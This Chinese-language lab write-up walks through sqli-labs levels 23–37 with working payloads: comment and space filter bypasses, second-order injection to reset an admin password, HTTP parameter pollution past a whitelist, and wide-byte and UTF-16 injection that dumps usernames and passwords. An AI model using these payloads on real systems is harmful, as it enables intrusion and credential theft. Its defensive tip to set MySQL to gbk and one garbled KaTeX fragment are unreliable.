在这里补充一下信息收集的命令:
1、这关查看源码发现,对#、–注释符进行了过滤:
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
先输入?id=1’试试水,发现回显报错,从报错发现是’'闭合方式,构造payload:
?id=-1’ union select 1,@@basedir,'3
回显出数据库路径,注入成功:
2、改变查询语句,例如将@@basedir改为select database()、select group_concat(table_name) from information_schema.tables where table_schema=database()等,即可通关。
该关卡为二次排序注入,这是第一次碰到该类型的注入。在此解释一下二次排序注入:
二次排序注入也称为存储型的注入,就是将可能导致 sql 注入的字符先存入到数据
库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
二次排序注入思路:
2.服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库 中,保存的 数据信息的主要作用是为应用程序执行其他功能提供原始输入数 据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
此例子中,我们的思路:
1、注册用户名为admin’#的账号,密码设为123456:
查询数据库,发现多了admin’#的用户:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+----------+------------+
14 rows in set (0.00 sec)
可能这里会有人提出疑惑,#不是应该当做注释符吗,为什么会写进来?咱们回去看源码就清楚了:
创建新用户的文件:login_create.php
从这两个文件,我们发现admin’#被当做字符串传送,insert的插入语句里也是被当做字符串,所以被写了进去。
2、登录admin’#
3、修改密码为123
查询数据库,发现admin的密码被修改为了123:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+----------+------------+
14 rows in set (0.00 sec)
为什么这里会修改admin的密码,而不是admin’#的密码,我们看源代码的更新密码语句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
说明username存在sql注入点,改为admin’#时,后面的内容被注释掉,实现了admin的密码修改:
UPDATE users SET PASSWORD='$pass' where username='$username'#' and password='$curr_pass'
这关是过滤or、and,如何绕过过滤,下面提供几种思路:
这里用第四种方法进行:
http://localhost/sqli-labs/Less-25/?id=1’ || extractvalue(1,concat(’~’,(select database()),’~’))–+
剩下不再赘述。
这关跟25关相似,是数值型注入,并且没有报错,那么我们可以使用联合注入与延时注入。这里用联合注入:
http://localhost/sqli-labs/Less-25a/?id=-1 union select 1,(select database()),3
剩下不再赘述。
这关是要绕过空格与注释符,对于绕过空格有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
然鹅这几种方法都在window上翻车了,都被过滤掉了,若有大佬知情,麻烦赐教本菜鸡。听说在linux可行,但读者还没试过。所以在这里就不用这种方法绕过,试了一下可以用报错注入:
http://localhost/sqli-labs/Less-26/?id=-1’ || extractvalue(1,concat(’’,database(),’’)) || ’
再试一下爆表:
http://localhost/sqli-labs/Less-26/?id=-1’ || extractvalue(1,concat(’’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),’’)) || ’
这里要注意的是也对or、and进行了过滤,所以information要改成infoorrmation。
剩下不再赘述。
这关与26关的区别是,字符串是以(’’)的方式进行闭合的,且不显示报错信息,我用了延时注入:
http://localhost/sqli-labs/Less-26/?id=-1’(union(if(left(database(),1)>‘a’,sleep(5),1)))||’
一步一步进行爆破,不再赘述。
本关多了对select、union关键字的过滤,用大小写混用表示select、union,利用报错注入,这里爆出表:
http://localhost/sqli-labs/Less-27/?id=-1’ || extractvalue(1,concat(’’,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),’’)) || ’
剩下步骤以此类推。
本关与27关的区别是用了"“闭合字符串,且没有报错回显,故可利用时间延时注入:
http://localhost/sqli-labs/Less-26/?id=-1”(uNion(if(left(database(),1)>‘a’,sleep(5),1)))||"
很奇怪,这关对%0a没过滤掉,也就是这关咱们可以用%0a代替空格,这下舒服多了。看了题目,这关应该是(’’)的闭合方式,再查看源码,发现对select、union的过滤方式是联合在一起:
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
直接上payload:
http://localhost/sqli-labs/Less-28/?id=-1’)%0a union(select %0a 1,2,3 )||('1
发现显示位,再改变查询语句:
http://localhost/sqli-labs/Less-28/?id=-1’)%0a union(select %0a 1,(select database()),3 )||('1
以此类推。
本关虽然题目说是盲注,但还是能回显具体信息,有两个回显位。查看源码发现只对select与union的联合方式进行了过滤,并且是(’’)的方式闭合的,用联合查询注入:
http://localhost/sqli-labs/Less-28a/?id=-1’) union(select 1,(select database()),3)–+
表名、列名以此类推,最后贴一个爆破用户名以及密码的payload:
http://localhost/sqli-labs/Less-28a/?id=-1’) union(select 1,(select group_concat(username,’-’,password) from users),3)–+
这里涉及到服务器两层架构:
服务器端有两个部分:第一部分为Tomcat为引擎的jsp型服务器,第二部分为Apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:
client能直接访问Tomcat服务器,然后Tomcat服务器再向Apache服务器请求数据。数据返回路径则相反。
本关涉及到Tomcat与Apache对url参数的不同解析,例如对于index.php?id=1&id=2:
在这里顺带贴一个大多数服务器对参数解析的图:
此处我们想一个问题:index.jsp?id=1&id=2 请求,针对第一张图中的服务器配置情况,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php)服务器,apache 解析最后一个参数。那最终返回客户端的应该是哪个参数?
Answer:此处应该是 id=2 的内容,应为时间上提供服务的是 apache(php)服务器,返回的数据也应该是 apache 处理的数据。而在我们实际应用中,也是有两层服务器的情况, 那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一 个 WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客户端都能够造成一定的威胁。
先看下本关的index.php文件,可以看出有回显功能,其他平平无奇。
重点在login.php文件上:
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
$_SERVER[‘QUERY_STRING’]是用来获取当前url,例如:
对于http://www.xxx.com/index.php?p=222&q=u,KaTeX parse error: Expected 'EOF', got '&' at position 33: …RING"] = “p=222&̲q=u”。可知,_SERVER[“QUERY_STRING”]获取的是?后面的值。
java_implimentation函数将传入的字符串以&分隔,再识别前两个字符,若为“id“,则返回后面30个字符。
function java_implimentation($query_string)
{
$q_s = $query_string;
//explode函数将$q_s以&分隔,输出数组
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "
";
break;
}
}
}
whitelist函数为白名单过滤的功能,检查输入是否全为数字,这里可以看做一个简单的web防火墙(WAF,web application firewall),若不是则跳转到hacked.php。
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
注入思路:
因为java_implication只过滤第一个id(),若我们的payload设为?id=1&id=2xxx,则可在第二个id处注入,绕过检测。因为后端Apache只会解析最后一个参数,所以后端用 i d = id= id=_GET[‘id’]获取到id参数为第二个,完美。
构造payload:
http://localhost/sqli-labs/Less-29/?id=1&id=-2’ union select 1,2,(select group_concat(username,’-’,password) from users)–+
这关与less-29没啥区别,就多了"$id"闭合方式,没有报错回显,直接上payload:
http://localhost/sqli-labs/Less-30/?id=1&id=-2" union select 1,2,(select group_concat(username,’-’,password) from users)–+
这关也一样,多了("$id")闭合方式,增加报错回显,直接上payload:
http://localhost/sqli-labs/Less-31/?id=1&id=-2)" union select 1,2,(select group_concat(username,’-’,password) from users)–+
查看源代码,这里多了check_addslashes函数,对/、/’、/"进行了转移,故无法按之前那样进行引号注入。这里采取宽字节注入,宽字节注入源于程序员设置MySQL连接时的错误配置,如下:
set character_set_client=gbk
这样的配置会引发编码转换从而导致绕过某些防护实现注入漏洞。具体分析一下原理:
现在基本都会将mysql的连接配置设置为:
set character_set_client=binary
这样就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字节注入。
关于魔术引号、addslashes的防御以及绕过参考此文章:http://blog.51cto.com/wt7315/1931667
直接上payload:
http://localhost/sqli-labs/Less-32/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+
查看源码,这里调用了check_addslashes函数:
$id=check_addslashes($_GET['id']);
预定义字符为:单引号(’)、双引号("")、反斜杠(\)
依然可以用宽字节实现绕过:
http://localhost/sqli-labs/Less-33/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+
这关为post类型注入,与33关没什么区别,这关可以用宽字节注入,也可将utf-8转换为utf-16或utf-32,例如将’ 转为utf-16为�’,我们可以借助这个方式进行注入。
可以使用linux自带的iconv命令进行utf的编码转换:
syy@SYY:/$ echo \'|iconv -f utf-8 -t utf-16
��'
用burpsuite抓包,进行注入,payload:
uname=-1�’ union select 1,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)#
这关与33关相似,区别在于id没被’'闭合,属于数值型注入,所以用不到‘,直接上payload:
http://localhost/sqli-labs/Less-35?id=-1 union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)#
查看源码,发现用了,mysql_real_escape_string函数进行符号转义,受影响的字符为:
\x00、\r、\n、\、’、"、\x1a
如果成功,则返回被转义的字符。如果失败,则返回FALSE。但是mysql我们并没有设置成gbk,还是可以用宽字节注入的方法实现绕过,上payload:
http://localhost/sqli-labs/Less-36/?id=1&id=-2%df’ union select 1,2,(select group_concat(username,password+SEPARATOR+0x3c62723e) from users)–+
注意:
在使用mysql_real_escape_string时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可:
Mysql_set_charset('gbk','$coon')
本关与34关大致相同,区别在于这关使用了mysql_real_escape_string函数进行转义,但是原理是一样的。都可以通过宽字节注入、将utf-8转换为utf-16或utf-32的方法直接在burpsuite上改包发送,在此不再赘述。
这些关卡大多数都对输入参数进行了过滤操作,如过滤特殊字符、空格、关键字等,或者对特殊字符进行转义,如对反斜杠,引号转义。绕过的方法有如下几种: